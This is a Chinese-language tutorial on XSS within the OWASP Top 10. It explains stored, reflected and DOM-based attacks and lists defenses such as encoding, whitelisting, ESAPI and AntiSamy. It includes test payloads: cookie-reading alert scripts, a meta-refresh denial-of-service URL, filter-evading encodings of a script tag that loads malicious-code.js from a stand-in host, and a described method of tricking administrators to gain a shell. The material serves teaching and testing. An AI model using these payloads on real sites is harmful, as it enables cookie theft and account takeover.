A1-注入
A2-跨站脚本(XSS)
A3-错误的认证和会话管理
A4-不正确的直接对象引用
A5-伪造跨站请求(CSRF) -- Cross-Site Request Forgery
A7-限制远程访问失败
A8-未验证的重定向和传递
A9-不安全的加密存储
A10-不足的传输层保护
排在OWASP TOP10第2位的是Cross Site Scripting(XSS),翻译成中文即“跨站脚本攻击”。它指的是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意用户的特殊目的。XSS属于被动式的攻击,因为其被动且不好利用,所以许多人常忽略其危害性。
以下内容转自百度空间的一篇关于OWASP的文章,个人觉得基本已经把跨站脚本攻击的内容阐述的比较清楚。
如何寻找XSS漏洞,XSS攻击分成两类,一类是来自内部的攻击,主要指的是利用程序自身的漏洞,构造跨站语句,如:dvbbs的showerror.asp存在的跨站漏洞。另一类则是来来自外部的攻击,主要指的自己构造XSS跨站漏洞网页或者寻找非目标机以外的有跨站漏洞的网页。如当我们要渗透一个站点,我们自己构造一个有跨站漏洞的网页,然后构造跨站语句,通过结合其它技术,如社会工程学等,欺骗目标服务器的管理员打开,然后利用下面的技术得到一个shell。
如何利用
传统的跨站利用方式一般都是攻击者先构造一个跨站网页,然后在另一空间里放一个收集cookie的页面,接着结合其它技术让用户打开跨站页面以盗取用户的cookie,以便进一步的攻击。这种方式太过于落后,对于弊端大家可能都知道,因为即便你收集到了cookie你也未必能进一步渗透进去,多数的cookie里面的密码都是经过加密的,如果想要cookie欺骗的话,同样也要受到其它的条件的限约。而另一种思路,则从一定程度上解决上述的问题。比较成熟的方法是通过跨站构造一个表单,表单的内容则为利用程序的备份功能或者加管理员等功能得到一个高权限。下面将详细的介绍这种技术。
寻找跨站漏洞
如果有代码的话比较好办,我们主要看代码里对用户输入的地方和变量有没有做长度和对”<”,”>”,”;”,”’”等字符是否做过滤。还有要注意的是对于标签的闭合,像测试QQ群跨站漏洞的时候,你在标题处输入<script>alert(‘test’)</script>,代码是不会被执行的,因为在源代码里,有其它的标签未闭合,如少了一个</script>,这个时候,你只要闭合一个</script>,代码就会执行,如:你在标题处输入</script><script>alert(‘test’)</script>,这样就可以弹出一个test的框。
如何利用
跨站脚本(Cross-site scripting,XSS)漏洞是Web应用程序中最常见的漏洞之一。如果您的站点没有预防XSS漏洞的固定方法,那么就存在XSS漏洞。这个利用XSS漏洞的病毒之所以具有重要意义是因为,通常难以看到XSS漏洞的威胁,而该病毒则将其发挥得淋漓尽致。
这个利用XSS漏洞的蠕虫病毒的特别之处在于它能够自我传播。myspace.com上的一个用户希望自己能够在网站的友人列表上更“受欢迎”。但是该用户不是通过普通的方法来结交新朋友,而是在自己的个人信息中添加了一些代码,导致其他人在访问他的页面时,会不知不觉地利用XSS漏洞将他加为好友。更恶劣的是,它会修改这些人的个人信息,使其他人在访问这些被感染的个人信息时,也会被感染。由于这种呈指数传播的方式,这种病毒才很快就被发现。
很难预防站点中的XSS。因此一定要认真检查您的应用程序是否存在XSS漏洞。此外,WebLogic Server的encodeXSS()也可以有所帮助。可以试着针对所有牵涉到使用encodeXSS()或其他某个筛选方法的输出找出一种编码模式——找出对一种编码模式来说不正确的应用程序往往要比找出XSS漏洞要容易的多。更重要的是,不要认为,就因为XSS漏洞是一个常见问题,所以它危害不大。
之所以出现XSS漏洞有两个原因。首先,HTML没有明确区分代码和数据。无法确定指出“这个字符串表示的是数据”。您可以将其放入引号中,但是数据是否包含引号呢?……其次,程序在将用户数据发送回浏览器时没有进行有效的转义。这导致包含有(例如说)引号的数据被放入页面中,从而引发了问题。而AJAX要提供的好处是,它包含一个专用渠道XML链接,其中全是数据而没有代码。这样,就有可能让客户端AJAX引擎负责对字符串进行转义、检测不正确的值,等等。说是这么说,直到AJAX更为成熟(可能也更为标准化)之前,它只会导致错误的编程和安全漏洞。
XSS漏洞可能造成的后果包括窃取用户会话,窃取敏感信息,重写Web页面,重定向用户到钓鱼网站等,尤为严重的是,XSS漏洞可能使得攻击者能够安装XSS代理,从而攻击者能够观察到该网站上所有用户的行为,并能操控用户访问其他的恶意网站。
对于XSS漏洞,我们有两种常见的措施,第一种就是消除漏洞,简而言之就是在输出页面上不提供任何用户的输入信息;另外一种就是想办法来抵御这种漏洞,可以采用对所有用户的输入编码后再输出(可以用OWASP的ESAPI),也可以对所有用户输入进行“白名单”验证,另外,OWASP还提供了AntiSamy对HTML页面做优化以消除这个漏洞。
XSS也是一种对浏览器的解释器的代码注入攻击,这些攻击能够通过HTML,JavaScript,VBScript,ActiveX,Flash等其他客户端语言执行,同时,这些攻击也可能造成用户信息泄露,配置更改,cookie窃取等造成危害,甚至能够用于对Web服务器进行DOS攻击。
与大部分攻击不同的是,大部分攻击往往只涉及2方(攻击者和网站,攻击者和受害者),而XSS则涉及3方,攻击者、客户端、网站,XSS的目的就是窃取客户端的cookie或是其他信息以冒充客户在网站上进行认证,进而在网站上操作任何想进行的操作。
下面我们看看到底有哪些类型的XSS攻击:
Stored XSS(存储式跨站脚本攻击)
这是最强大的一种XSS攻击,所谓存储跨站攻击是指用户提交给Web应用程序的数据首先就被永久的保存在服务器的数据库,文件系统或其他地方,后面且未做任何编码就能显示到Web页面,最典型的就是2005年在MySpace发现的XSS漏洞以及利用该漏洞的Samy MySpace Worm。
举例,假设我们的网站允许我们给其他用户留言,但事实上我们没有留言而是写入了一段代码:
那么服务器将会存储这些信息,当用户点击我们伪造的留言时,他的浏览器就会执行我们的脚本。
Reflected XSS(反射跨站脚本攻击)
这是最常见也是最知名的XSS攻击,当Web客户端提交数据后,服务器端立刻为这个客户生成结果页面,如果结果页面中包含未验证的客户端输入数据,那么就会允许客户端的脚本直接注入到动态页面中。传统的例子是站点搜索引擎,如果我们搜索一个包含特殊HTML字符的字符串时,通常在返回页面上仍然会有这个字符串来告知我们搜索的是什么,如果这些返回的字符串未被编码,那么,就会存在XSS漏洞了。
初看上去,由于用户只能在自己的页面上注入代码,所以似乎这个漏洞并不严重,但是,只需一点点社会工程的方法,攻击者就能诱使用户访问一个在结果页面中注入了代码的URL,这就给了攻击者整个页面的权限。由于这种攻击往往会需要一些社会工程方法,所以研发人员往往不会太过看重,但是我们看如下的例子,在服务器上有如下代码:
article.php?title=<meta%20http-equiv="refresh"%20content="0;"> |
这就使得浏览器每3秒就刷新一次页面,而且是一个死循环的状态,这就形成了DOS攻击,导致Web服务器挂掉。
DOM-Based XSS(基于DOM的XSS)
这个漏洞往往存在于客户端脚本,如果一个Javascript脚本访问需要参数的URL,且需要将该信息用于写入自己的页面,且信息未被编码,那么就有可能存在这个漏洞。
黑盒测试和示例:
比较简单的测试是否存在XSS漏洞的方法是验证Web应用是否会对一个包含了HTTP响应的简单脚本的访问请求,例如,Sambar服务器(5.3)包含一个众所周知的XSS漏洞,我们向服务器发送如下的请求,从服务器端能够产生一个响应从而在Web浏览器中执行
http://server/cgi-bin/testcgi.exe?<SCRIPT>alert(“Cookie”+document.cookie)</SCRIPT> |
这个脚本会在客户浏览器端被执行。
我们再举个例子:
由于Javascript是区分大小写的,有些人会尝试将所有字符转换为大写字符来避免XSS漏洞,在这时,我们最好还是使用VBScript,因为它是大小写不区分的:
JavaScript. <script>alert(document.cookie);</script> VBScript. <script. type="text/vbscript">alert(DOCUMENT.COOKIE)</script> |
如果我们已经过滤了”<”,或者是<script,/script>,那么我们就需要尝试各种编码方法了
<script. src=http://www.example.com/malicious-code.js></script> %3cscript. src=http://www.example.com/malicious-code.js%3e%3c/script%3e \x3cscript. src=http://www.example.com/malicious-code.js\x3e\x3c/script\x3e |